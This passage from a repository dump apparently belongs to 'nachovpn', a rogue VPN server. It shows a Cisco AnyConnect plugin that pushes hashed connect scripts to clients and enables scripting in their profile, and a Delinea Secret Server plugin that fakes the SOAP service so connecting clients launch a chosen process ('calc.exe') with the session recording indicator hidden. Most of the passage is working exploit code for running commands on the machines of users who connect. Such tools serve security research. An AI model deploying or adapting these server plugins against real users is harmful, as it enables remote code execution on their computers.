script_hashes:\n                    script_path = os.path.join(self.files_dir, script['filename'])\n                    context = {\n                        'cisco_command_win': self.cisco_command_win,\n                        'cisco_command_macos': self.cisco_command_macos\n                    }\n                    if os.path.exists(script_path):\n                        content = self.render_file(script_path, context)\n                        script['hash'] = self.shasum(content)\n\n                xml = self.render_template(\"login.xml\",\n                    server_cert_hash=self.get_thumbprint()['sha1'],\n                    profile_hash=profile_hash,\n                    script_hashes=script_hashes\n                )\n                response = xml.encode()\n                return Response(response, status=200, mimetype='text/html', headers=headers)\n\n            return abort(404)\n\n    def handle_head(self, handler):\n        handler.send_response(200)\n\n    def handle_connect(self, handler):\n        self.logger.info(f\"Handling CONNECT for {handler.path}\")\n        try:\n            # Create a new session and get the connection_id\n            connection_id, ip_address = self.packet_handler.create_session(handler.connection, self._wrap_packet)\n            session_id = hashlib.sha256(connection_id.encode()).hexdigest().upper()\n            hostname = f\"{connection_id[:8]}.nachovpn.local\"\n            self.logger.debug(f\"Connection ID: {connection_id}, IP Address: {ip_address}, Session ID: {session_id}, Hostname: {hostname}\")\n\n            # Send headers\n            headers = [\n                b\"HTTP/1.1 200 OK\",\n                b\"X-CSTP-Version: 1\",\n                b\"X-CSTP-Protocol: Copyright (c) 2004 Cisco Systems, Inc.\",\n                f\"X-CSTP-Address: {ip_address}\".encode(),\n                b\"X-CSTP-Netmask: 255.255.255.0\",\n                f\"X-CSTP-Hostname: {hostname}\".encode(),\n                b\"X-CSTP-Lease-Duration: 1209600\",\n                b\"X-CSTP-Session-Timeout: none\",\n                b\"X-CSTP-Session-Timeout-Alert-Interval: 60\",\n                b\"X-CSTP-Session-Timeout-Remaining: none\",\n                b\"X-CSTP-Idle-Timeout: 1800\",\n                b\"X-CSTP-DNS: 8.8.8.8\",\n                b\"X-CSTP-Disconnected-Timeout: 1800\",\n                #b\"X-CSTP-Split-Include: 10.10.0.0/255.255.255.0\",\n                b\"X-CSTP-Keep: true\",\n                b\"X-CSTP-Tunnel-All-DNS: true\",\n                b\"X-CSTP-DPD: 0\",\n                b\"X-CSTP-Keepalive: 0\",\n                b\"X-CSTP-MSIE-Proxy-Lockdown: false\",\n                b\"X-CSTP-Smartcard-Removal-Disconnect: true\",\n                f\"X-DTLS-Session-ID: {session_id}\".encode(),\n                b\"X-DTLS-Port: 80\",\n                b\"X-DTLS-Keepalive: 0\",\n                b\"X-DTLS-DPD: 0\",\n                b\"X-CSTP-MTU: 1400\",\n                b\"X-DTLS-MTU: 1400\",\n                b\"X-DTLS12-CipherSuite: ECDHE-RSA-AES256-GCM-SHA384\",\n                b\"X-CSTP-Routing-Filtering-Ignore: false\",\n                b\"X-CSTP-Quarantine: false\",\n                b\"X-CSTP-Disable-Always-On-VPN: false\",\n                b\"X-CSTP-Client-Bypass-Protocol: false\",\n                b\"X-CSTP-TCP-Keepalive: false\",\n                b\"\",\n                b\"\"\n            ]\n            handler.wfile.write(b\"\\r\\n\".join(headers))\n            handler.wfile.flush()\n\n            # Create CTSP parser\n            parser = CTSP(handler.connection, packet_handler=self.packet_handler, connection_id=connection_id)\n\n            # Just keep reading from the client forever\n            while True:\n                try:\n                    data = handler.connection.recv(8192)\n                    if not data:\n                        self.logger.info('Connection closed by client')\n                        break\n\n                    # Parse the packet data\n                    parser.parse(data)\n\n                except Exception as e:\n                    self.logger.error(f\"Connection error: {e}\")\n                    break\n\n        except Exception as e:\n            self.logger.error(f\"CONNECT error: {e}\")\n        finally:\n            self.logger.info(\"Closing CONNECT tunnel\")\n            self.packet_handler.destroy_session(connection_id)\n            handler.connection.close()\n\n    def _wrap_packet(self, packet_data, client):\n        return CTSP.create_packet(CTSP.PacketType.DATA, packet_data)\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        return len(data) >= 4 and CTSP.Constants.MAGIC_NUMBER == int.from_bytes(data[:4], byteorder='big')\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        if 'AnyConnect' in user_agent:\n            return True\n        return False\n\n    def handle_data(self, data, client_socket, client_ip):\n        try:\n            connection_id, _ = self.packet_handler.create_session(client_socket, self._wrap_packet)\n            parser = CTSP(client_socket, packet_handler=self.packet_handler, connection_id=connection_id)\n            parser.parse(data)\n        except Exception as e:\n            self.logger.error(f\"Error handling Cisco data: {e}\")\n        finally:\n            self.packet_handler.destroy_session(connection_id)\n            client_socket.close()\n        return True"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/login.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<config-auth client=\"vpn\" type=\"complete\" aggregate-auth-version=\"2\">\n<session-id>106496</session-id>\n<session-token>61D5E0@106496@2C64@1A03AA09D5B053ED6F58D56ABDF4EA125F12956C</session-token>\n<auth id=\"success\">\n<message id=\"0\" param1=\"\" param2=\"\"></message>\n</auth>\n<capabilities>\n<crypto-supported>ssl-dhe</crypto-supported>\n</capabilities>\n<config client=\"vpn\" type=\"private\">\n<vpn-base-config>\n<base-package-uri>/CACHE/stc/1</base-package-uri>\n<server-cert-hash>{{ server_cert_hash }}</server-cert-hash>\n</vpn-base-config>\n<opaque is-for=\"vpn-client\"><service-profile-manifest>\n<ServiceProfiles rev=\"1.0\">\n  <Profile service-type=\"user\">\n    <FileName></FileName>\n    <FileExtension>xml</FileExtension>\n    <Directory></Directory>\n    <DeployDirectory></DeployDirectory>\n    <Description>AnyConnect VPN Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"vpn-mgmt\">\n    <FileName>VpnMgmtTunProfile.xml</FileName>\n    <FileExtension>vpnm</FileExtension>\n    <Directory>Profile\\MgmtTun</Directory>\n    <DeployDirectory>Profile\\MgmtTun</DeployDirectory>\n    <Description>AnyConnect Management VPN Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"nam\">\n    <FileName>configuration.xml</FileName>\n    <FileExtension>nsp</FileExtension>\n    <Directory>Network Access Manager\\system</Directory>\n    <DeployDirectory>Network Access Manager\\newConfigFiles</DeployDirectory>\n    <Description>NAM Service Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"feedback\">\n    <FileName>CustomerExperience_Feedback.xml</FileName>\n    <FileExtension>fsp</FileExtension>\n    <Directory>CustomerExperienceFeedback</Directory>\n    <DeployDirectory>CustomerExperienceFeedback</DeployDirectory>\n    <Description>Feedback Service Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"iseposture\">\n    <FileName>ISEPostureCFG.xml</FileName>\n    <FileExtension>isp</FileExtension>\n    <Directory>ISE Posture</Directory>\n    <DeployDirectory>ISE Posture</DeployDirectory>\n    <Description>ISE Posture Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"iseposturejson\">\n    <FileName>ISEPosture.json</FileName>\n    <FileExtension>json</FileExtension>\n    <Directory>ISE Posture</Directory>\n    <DeployDirectory>ISE Posture</DeployDirectory>\n    <Description>ISE Posture JSON Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"ampenabler\">\n    <FileName>AMPEnabler_ServiceProfile.xml</FileName>\n    <FileExtension>asp</FileExtension>\n    <Directory>AMPEnabler</Directory>\n    <DeployDirectory>AMPEnabler</DeployDirectory>\n    <Description>AMP Enabler Service Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"nvm\">\n    <FileName>NVM_ServiceProfile.xml</FileName>\n    <FileExtension>nvmsp</FileExtension>\n    <Directory>NVM</Directory>\n    <DeployDirectory>NVM</DeployDirectory>\n    <Description>Network Visibility Service Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n  <Profile service-type=\"umbrella\">\n    <FileName>OrgInfo.json</FileName>\n    <FileExtension>json</FileExtension>\n    <Directory>Umbrella</Directory>\n    <DeployDirectory>Umbrella</DeployDirectory>\n    <Description>Umbrella Roaming Security Profile</Description>\n    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>\n  </Profile>\n</ServiceProfiles>\n</service-profile-manifest>\n<vpn-client-pkg-version>\n<pkgversion>3,9,04053</pkgversion>\n</vpn-client-pkg-version>\n<vpn-core-manifest>\n<vpn rev=\"1.0\">\n  <file version=\"3.9.04053\" id=\"VPNCore\" is_core=\"yes\" type=\"msi\" action=\"install\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-5.9.04053-core-vpn-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect Secure Mobility Client</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"DART\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"dart\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-dart-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect DART</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"Posture\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"posture\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-posture-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect Posture</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"gina\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"vpngina\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-gina-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect SBL</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"NAM\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"nam\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-nam-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect Network Access Manager</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"NVM\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"nvm\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-nvm-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect Network Visibility</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"AMPEnabler\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"ampenabler\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-amp-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect AMP Enabler</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"ISEPosture\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"iseposture\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-iseposture-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect ISE Posture</display-name>\n  </file>\n  <file version=\"4.9.04053\" id=\"Umbrella\" is_core=\"no\" type=\"msi\" action=\"install\" module=\"umbrella\" os=\"win:6.1.7601\">\n    <uri>binaries/anyconnect-win-4.9.04053-umbrella-webdeploy-k9.msi</uri>\n    <display-name>AnyConnect Umbrella Roaming Security</display-name>\n  </file>\n</vpn>\n</vpn-core-manifest>\n</opaque>\n<vpn-profile-manifest>\n<vpn rev=\"1.0\">\n<file type=\"profile\" service-type=\"user\">\n<uri>/CACHE/stc/profiles/profile.xml</uri>\n<hash type=\"sha1\">{{ profile_hash }}</hash>\n</file>\n</vpn>\n</vpn-profile-manifest>\n<vpn-customization-manifest>\n<vpn rev=\"1.0\">\n{%- for script in script_hashes -%}\n{%- if script['hash'] %}\n<file app=\"AnyConnect\" platform=\"{{ script['platform'] }}\" type=\"binary\">\n<filename>scripts_{{ script['filename'] }}</filename>\n<hash type=\"sha1\">{{ script['hash'] }}</hash>\n</file>\n{%- endif -%}\n{%- endfor %}\n</vpn>\n</vpn-customization-manifest>\n</config>\n</config-auth>"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/prelogin.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<config-auth client=\"vpn\" type=\"auth-request\" aggregate-auth-version=\"2\">\n<opaque is-for=\"sg\">\n<tunnel-group>VPN2</tunnel-group>\n<aggauth-handle>864640002</aggauth-handle>\n<auth-method>multiple-cert</auth-method>\n<auth-method>single-sign-on</auth-method>\n<group-alias>{{ vpn_name }}</group-alias>\n<config-hash>1619719004259</config-hash>\n</opaque>\n<auth id=\"main\">\n<form>\n<input type=\"text\" name=\"username\" label=\"Username:\"></input>\n<input type=\"password\" name=\"password\" label=\"Password:\"></input>\n<select name=\"group_list\" label=\"GROUP:\">\n<option selected=\"true\">{{ vpn_name }}</option>\n</select>\n</form>\n</auth>\n</config-auth>"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/profile.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<AnyConnectProfile xmlns=\"http://schemas.xmlsoap.org/encoding/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://schemas.xmlsoap.org/encoding/ AnyConnectProfile.xsd\">\n\t<ClientInitialization>\n\t\t<UseStartBeforeLogon UserControllable=\"true\">false</UseStartBeforeLogon>\n\t\t<AutomaticCertSelection UserControllable=\"true\">false</AutomaticCertSelection>\n\t\t<ShowPreConnectMessage>false</ShowPreConnectMessage>\n\t\t<CertificateStore>All</CertificateStore>\n\t\t<CertificateStoreMac>All</CertificateStoreMac>\n\t\t<CertificateStoreLinux>All</CertificateStoreLinux>\n\t\t<CertificateStoreOverride>false</CertificateStoreOverride>\n\t\t<ProxySettings>Native</ProxySettings>\n\t\t<AllowLocalProxyConnections>false</AllowLocalProxyConnections>\n\t\t<AuthenticationTimeout>30</AuthenticationTimeout>\n\t\t<AutoConnectOnStart UserControllable=\"true\">false</AutoConnectOnStart>\n\t\t<MinimizeOnConnect UserControllable=\"true\">true</MinimizeOnConnect>\n\t\t<LocalLanAccess UserControllable=\"true\">false</LocalLanAccess>\n\t\t<DisableCaptivePortalDetection UserControllable=\"true\">true</DisableCaptivePortalDetection>\n\t\t<ClearSmartcardPin UserControllable=\"true\">true</ClearSmartcardPin>\n\t\t<IPProtocolSupport>IPv4</IPProtocolSupport>\n\t\t<AutoReconnect UserControllable=\"false\">false\n\t\t\t<AutoReconnectBehavior UserControllable=\"false\">ReconnectAfterResume</AutoReconnectBehavior>\n\t\t</AutoReconnect>\n\t\t<SuspendOnConnectedStandby>false</SuspendOnConnectedStandby>\n\t\t<AutoUpdate UserControllable=\"false\">false</AutoUpdate>\n\t\t<RSASecurIDIntegration UserControllable=\"false\">Automatic</RSASecurIDIntegration>\n\t\t<WindowsLogonEnforcement>SingleLocalLogon</WindowsLogonEnforcement>\n\t\t<LinuxLogonEnforcement>SingleLocalLogon</LinuxLogonEnforcement>\n\t\t<WindowsVPNEstablishment>AllowRemoteUsers</WindowsVPNEstablishment>\n\t\t<LinuxVPNEstablishment>LocalUsersOnly</LinuxVPNEstablishment>\n\t\t<AutomaticVPNPolicy>false</AutomaticVPNPolicy>\n\t\t<PPPExclusion UserControllable=\"false\">Disable\n\t\t\t<PPPExclusionServerIP UserControllable=\"false\"></PPPExclusionServerIP>\n\t\t</PPPExclusion>\n\t\t<EnableScripting UserControllable=\"false\">true\n\t\t\t<TerminateScriptOnNextEvent>false</TerminateScriptOnNextEvent>\n\t\t\t<EnablePostSBLOnConnectScript>true</EnablePostSBLOnConnectScript>\n\t\t</EnableScripting>\n\t\t<EnableAutomaticServerSelection UserControllable=\"false\">false\n\t\t\t<AutoServerSelectionImprovement>20</AutoServerSelectionImprovement>\n\t\t\t<AutoServerSelectionSuspendTime>4</AutoServerSelectionSuspendTime>\n\t\t</EnableAutomaticServerSelection>\n\t\t<RetainVpnOnLogoff>false\n\t\t</RetainVpnOnLogoff>\n\t\t<CaptivePortalRemediationBrowserFailover>false</CaptivePortalRemediationBrowserFailover>\n\t\t<AllowManualHostInput>true</AllowManualHostInput>\n\t</ClientInitialization>\n</AnyConnectProfile>\n"
  },
  {
    "path": "src/nachovpn/plugins/delinea/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/plugins/delinea/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import request, abort, Response\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.backends import default_backend\nimport xml.etree.ElementTree as ET\nfrom urllib.parse import quote\nimport os\nimport uuid\nimport base64\nimport secrets\nimport json\n\n\"\"\"\n# Requests:\n\n## GetLauncherArguments\n\n<?xml version = \"1.0\" encoding=\"UTF-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"\n\txmlns:urn=\"urn:thesecretserver.com\">\n\t<soap:Header/>\n\t<soap:Body>\n\t\t<urn:GetLauncherArguments>\n\t\t\t<urn:guid>748294fc-9527-4182-a47b-81fcaf99f473</urn:guid>\n\t\t\t<urn:version>0</urn:version>\n\t\t</urn:GetLauncherArguments>\n\t</soap:Body>\n</soap:Envelope>\n\n## GetSymmetricKey\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"\n\txmlns:urn=\"urn:thesecretserver.com\">\n\t<soap:Body>\n\t\t<urn:GetSymmetricKey>\n\t\t\t<urn:guid>748294fc-9527-4182-a47b-81fcaf99f473</urn:guid>\n\t\t\t<urn:publicKeyBlob>BgIAAACkAABSU0ExAAQAAAEAAQDddOOABJmRVvrS5SIrFiANNGkdYu0/ii0bp6k2NVVeymFpB9+ohAmPGqCsowJkGesV3zzGakFvuGzS3H5TVKTTK8T0idFRSfxWVihUv/7b9f50B8GTWpPFTYkCCneGD5hxYyPmwPNiNgoE9FsZCLyrffAzioSotZS2xeBZfaSzog==</urn:publicKeyBlob>\n\t\t</urn:GetSymmetricKey>\n\t</soap:Body>\n</soap:Envelope>\n\"\"\"\n\nSECRET_SERVER_XML_NS = {\n    \"soap\": \"http://www.w3.org/2003/05/soap-envelope\",\n    \"urn\": \"urn:thesecretserver.com\"\n    }\n\nclass DelineaPlugin(VPNPlugin):\n    def __init__(self, *args, **kwargs):\n        # provide the templates directory relative to this plugin\n        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))\n        \n        # Store session keys for each GUID\n        self.session_keys = {}\n        \n    def _generate_aes_keys(self):\n        \"\"\"Generate AES-256 key and IV\"\"\"\n        aes_key = secrets.token_bytes(32)  # 256-bit key\n        aes_iv = secrets.token_bytes(16)   # 128-bit IV\n        return aes_key, aes_iv\n    \n    def _aes_encrypt(self, data, key, iv):\n        \"\"\"Encrypt data with AES-256-CBC\"\"\"\n        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())\n        encryptor = cipher.encryptor()\n         \n        # Pad data to 16-byte boundary\n        padding_length = 16 - (len(data) % 16)\n        padded_data = data + bytes([padding_length] * padding_length)\n         \n        encrypted_data = encryptor.update(padded_data) + encryptor.finalize()\n        return encrypted_data\n     \n    def _decode_rsa_public_key(self, public_key_blob):\n        \"\"\"Decode RSA public key from Microsoft format\"\"\"\n        try:\n            # Decode base64\n            key_data = base64.b64decode(public_key_blob)\n              \n            # Microsoft RSA key format (all values in little-endian):\n            # PUBLICKEYSTRUC (8 bytes):\n            #   - bType: 0x06 (PUBLICKEYBLOB)\n            #   - bVersion: 0x02\n            #   - reserved: 0x0000\n            #   - aiKeyAlg: 0x0000A400 (CALG_RSA_KEYX)\n            # RSAPUBKEY (12 bytes):\n            #   - magic: 0x31415352 (\"RSA1\")\n            #   - bitlen: key length in bits (little-endian)\n            #   - pubexp: public exponent (little-endian, usually 65537)\n            # modulus[bitlen/8]: modulus data\n\n            if len(key_data) < 20:  # Minimum size for header + RSAPUBKEY\n                self.logger.error(\"Key blob too short\")\n                return None\n\n            # Check for PUBLICKEYBLOB type\n            if key_data[0] != 0x06:\n                self.logger.error(f\"Invalid blob type: {key_data[0]} (expected 0x06)\")\n                return None\n\n            # Check for RSA1 magic\n            if key_data[8:12] != b'RSA1':\n                self.logger.error(\"Invalid RSA magic\")\n                return None\n\n            # Read bitlen (little-endian)\n            bitlen = int.from_bytes(key_data[12:16], byteorder='little')\n\n            # Read pubexp (little-endian)\n            pubexp = int.from_bytes(key_data[16:20], byteorder='little')\n\n            # Calculate modulus length\n            modulus_len = bitlen // 8\n\n            # Extract modulus (starts at byte 20)\n            if len(key_data) < 20 + modulus_len:\n                self.logger.error(\"Key blob too short for modulus\")\n                return None\n                \n            modulus_bytes = key_data[20:20+modulus_len]\n\n            # Convert to integers (both little-endian according to Microsoft docs)\n            modulus = int.from_bytes(modulus_bytes, byteorder='little')\n            exponent = pubexp\n\n            # Debug logging\n            self.logger.debug(f\"Parsed RSA key - Bitlen: {bitlen}, Modulus length: {len(modulus_bytes)}, Exponent: {exponent}\")\n            self.logger.debug(f\"Modulus bytes (first 16): {modulus_bytes[:16].hex()}\")\n            self.logger.debug(f\"Exponent bytes: {exponent.to_bytes(4, 'little').hex()}\")\n\n            # Validate exponent\n            if exponent < 3:\n                self.logger.error(f\"Invalid RSA exponent: {exponent} (must be >= 3)\")\n                return None\n            if exponent >= modulus:\n                self.logger.error(f\"Invalid RSA exponent: {exponent} (must be < modulus)\")\n                return None\n\n            # Create RSA public key\n            public_key = rsa.RSAPublicNumbers(exponent, modulus).public_key(backend=default_backend())\n            self.logger.debug(f\"Successfully decoded RSA key: {bitlen}-bit key, exponent={exponent}\")\n            return public_key\n              \n        except Exception as e:\n            self.logger.error(f\"Failed to decode RSA public key: {e}\")\n            return None\n     \n    def _rsa_encrypt(self, data, public_key):\n        \"\"\"Encrypt data with RSA using the provided public key\"\"\"\n        try:\n            encrypted_data = public_key.encrypt(\n                data,\n                padding.OAEP(\n                    mgf=padding.MGF1(algorithm=hashes.SHA1()),\n                    algorithm=hashes.SHA1(),\n                    label=None\n                )\n            )\n            return encrypted_data\n        except Exception as e:\n            self.logger.error(f\"Failed to encrypt with RSA: {e}\")\n            return None\n        \n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        # Add additional routes specific to this plugin\n        @self.flask_app.route('/', methods=['GET'])\n        @self.flask_app.route('/delinea', methods=['GET'])\n        def index():\n            guid = str(uuid.uuid4())\n            session_guid = str(uuid.uuid4())\n            url_encoded = quote(f\"https://{self.dns_name}/SecretServer/Rdp/V1/rdpwebservice.asmx\", safe='')\n            xml = self.render_template('index.html', guid=guid, session_guid=session_guid, url_encoded=url_encoded)\n            return Response(xml, mimetype='text/html')\n        \n        @self.flask_app.route('/SecretServer/Rdp/<version>/rdpwebservice.asmx', methods=['POST'])\n        @self.flask_app.route('/secretserver/rdp/<version>/rdpwebservice.asmx', methods=['POST'])\n        def rdpwebservice(version):\n            self.logger.debug(request.data)\n            if b'GetLauncherArguments' in request.data:\n                # Extract GUID from request\n                root = ET.fromstring(request.data)\n                guid = root.find(\".//urn:guid\", SECRET_SERVER_XML_NS).text\n                self.logger.debug(f\"Extracted GUID: {guid}\")\n                \n                # Generate AES keys for this session\n                aes_key, aes_iv = self._generate_aes_keys()\n                self.logger.debug(f\"Generated AES key={aes_key.hex()}, IV={aes_iv.hex()}\")\n                \n                # Store keys for later use\n                self.session_keys[guid] = {\n                    'aes_key': aes_key,\n                    'aes_iv': aes_iv\n                }\n                \n                # Create launcher arguments\n                launcher_data = json.dumps({\n                    \"Domain\": \"aaa.com\",\n                    \"WinProcessName\": \"calc.exe\",\n                    \"WinProcessArgs\": \"\",\n                    \"WinLaunchAsUser\": False,\n                    \"WinFileToRun\": \"\",\n                    \"UseWindowFormFiller\": False,\n                    \"WinLoadUserProfile\": False,\n                    \"WinUseShellExecute\": False,\n                    \"Processname\": \"\",\n                    \"LaunchAsUser\": False,\n                    \"UseShellExecute\": False,\n                    \"ProcessArgs\": None,\n                    \"FileToRun\": \"\",\n                    \"WindowsEscapeCharacter\": None,\n                    \"WindowsCharactersToEscape\": None,\n                    \"RecordMultipleWindows\": True,\n                    \"AdditionalProcessesToRecord\": None,\n                    \"UseSSHTunnel\": False,\n                    \"ProcessTunnelArgs\": None,\n                    \"WinProcessTunnelArgs\": \"\",\n                    \"TunnelRemoteHost\": None,\n                    \"TunnelRemotePort\": None,\n                    \"UseSshProxy\": False,\n                    \"SshProxyHost\": None,\n                    \"SshProxyPort\": 0,\n                    \"SshProxyUsername\": None,\n                    \"SshProxyPassword\": None,\n                    \"SshPublicKeyFingerPrint\": None,\n                    \"PreserveClientProcess\": False,\n                    \"SessionToken\": None,\n                    \"SessionExpiresInSeconds\": None,\n                    \"SessionRefreshToken\": None,\n                    \"SSHPrivateKeyOpenSSH\": None,\n                    \"EnableSSHVideoRecording\": False,\n                    \"Username\": \"aaa\",\n                    \"Password\": \"aaa\",\n                    \"record\": False,\n                    \"hideRecordingIndicator\": True,\n                    \"sessionkey\": guid,\n                    \"sessionCallbackIntervalSeconds\": 60,\n                    \"fipsEnabled\": False,\n                    \"Machine\": None,\n                    \"Url\": None,\n                    \"Server\": None,\n                    \"FingerprintSHA1String\": None,\n                    \"FingerprintSHA512String\": None,\n                    \"Host\": None,\n                    \"Port\": 0,\n                    \"SSHPrivateKey\": None,\n                    \"SSHPrivateKeyPassPhrase\": None,\n                    \"MaxSessionLength\": 24,\n                    \"InactivityTimeoutMinutes\": 120,\n                    \"IsRDSSession\": False,\n                    \"RecordRDSKeystrokes\": False,\n                    \"CredentialProxyType\": None,\n                    \"Target\": \"\"\n                    })\n                \n                encrypted_launcher_data = self._aes_encrypt(launcher_data.encode('utf-16-le'), aes_key, aes_iv)\n                launcher_args = encrypted_launcher_data.hex()\n                xml = self.render_template('GetLauncherArguments.xml', launcher_args=launcher_args)\n                return Response(xml, mimetype='text/xml')\n                \n            elif b'GetSymmetricKey' in request.data:\n                # Extract the public key and GUID\n                root = ET.fromstring(request.data)\n                guid = root.find(\".//urn:guid\", SECRET_SERVER_XML_NS).text\n                public_key_blob = root.find(\".//urn:publicKeyBlob\", SECRET_SERVER_XML_NS).text\n                \n                # Get stored session keys for this GUID\n                if guid not in self.session_keys:\n                    self.logger.error(f\"No session keys found for GUID: {guid}\")\n                    return abort(400)\n                \n                session_data = self.session_keys[guid]\n                aes_key = session_data['aes_key']\n                aes_iv = session_data['aes_iv']\n                \n                # Decode and load RSA public key\n                public_key = self._decode_rsa_public_key(public_key_blob)\n                if not public_key:\n                    return abort(400)\n                \n                # Generate session keys\n                session_key = secrets.token_bytes(32)\n                session_iv = secrets.token_bytes(16)\n                \n                # Encrypt the keys with RSA\n                encrypted_aes_key = self._rsa_encrypt(aes_key, public_key)\n                encrypted_aes_iv = self._rsa_encrypt(aes_iv, public_key)\n                encrypted_session_key = self._rsa_encrypt(session_key, public_key)\n                encrypted_session_iv = self._rsa_encrypt(session_iv, public_key)\n                \n                if not all([encrypted_aes_key, encrypted_aes_iv, encrypted_session_key, encrypted_session_iv]):\n                    return abort(500)\n                \n                # Base64 encode the encrypted keys\n                keys = {\n                    'aes_key': base64.b64encode(encrypted_aes_key).decode('utf-8'),\n                    'aes_iv': base64.b64encode(encrypted_aes_iv).decode('utf-8'),\n                    'session_key': base64.b64encode(encrypted_session_key).decode('utf-8'),\n                    'session_iv': base64.b64encode(encrypted_session_iv).decode('utf-8')\n                }\n                \n                xml = self.render_template('GetSymmetricKey.xml', **keys)\n                return Response(xml, mimetype='text/xml')\n            \n            elif b'UpdateStatusV2' in request.data:\n                xml = self.render_template('UpdateStatusV2.xml')\n                return Response(xml, mimetype='text/xml')\n\n            elif b'GetNextProtocolHandlerVersion' in request.data:\n                xml = self.render_template('GetNextProtocolHandlerVersion.xml')\n                return Response(xml, mimetype='text/xml')\n            \n            return abort(404)\n\n    def handle_http(self, handler):\n        if handler.command == 'GET':\n            self.handle_get(handler)\n        elif handler.command == 'POST':\n            self.handle_post(handler)\n        return True\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        return handler.headers.get('vault-application') \\\n            or handler.path == '/delinea' \\\n            or handler.path == '/rdpwebservice.asmx' \\\n            or 'Thycotic' in user_agent \\\n            or 'MS Web Services Client Protocol' in user_agent\n"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetLauncherArguments.xml",
    "content": "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <GetLauncherArgumentsResponse xmlns=\"urn:thesecretserver.com\">\n      <GetLauncherArgumentsResult>{{ launcher_args }}</GetLauncherArgumentsResult>\n    </GetLauncherArgumentsResponse>\n  </soap:Body>\n</soap:Envelope>"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetNextProtocolHandlerVersion.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n\t<soap:Body>\n\t\t<GetNextProtocolHandlerVersionResponse\n\t\t\txmlns=\"urn:thesecretserver.com\">\n\t\t\t<GetNextProtocolHandlerVersionResult>6.0.3.39</GetNextProtocolHandlerVersionResult>\n\t\t</GetNextProtocolHandlerVersionResponse>\n\t</soap:Body>\n</soap:Envelope>"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetSymmetricKey.xml",
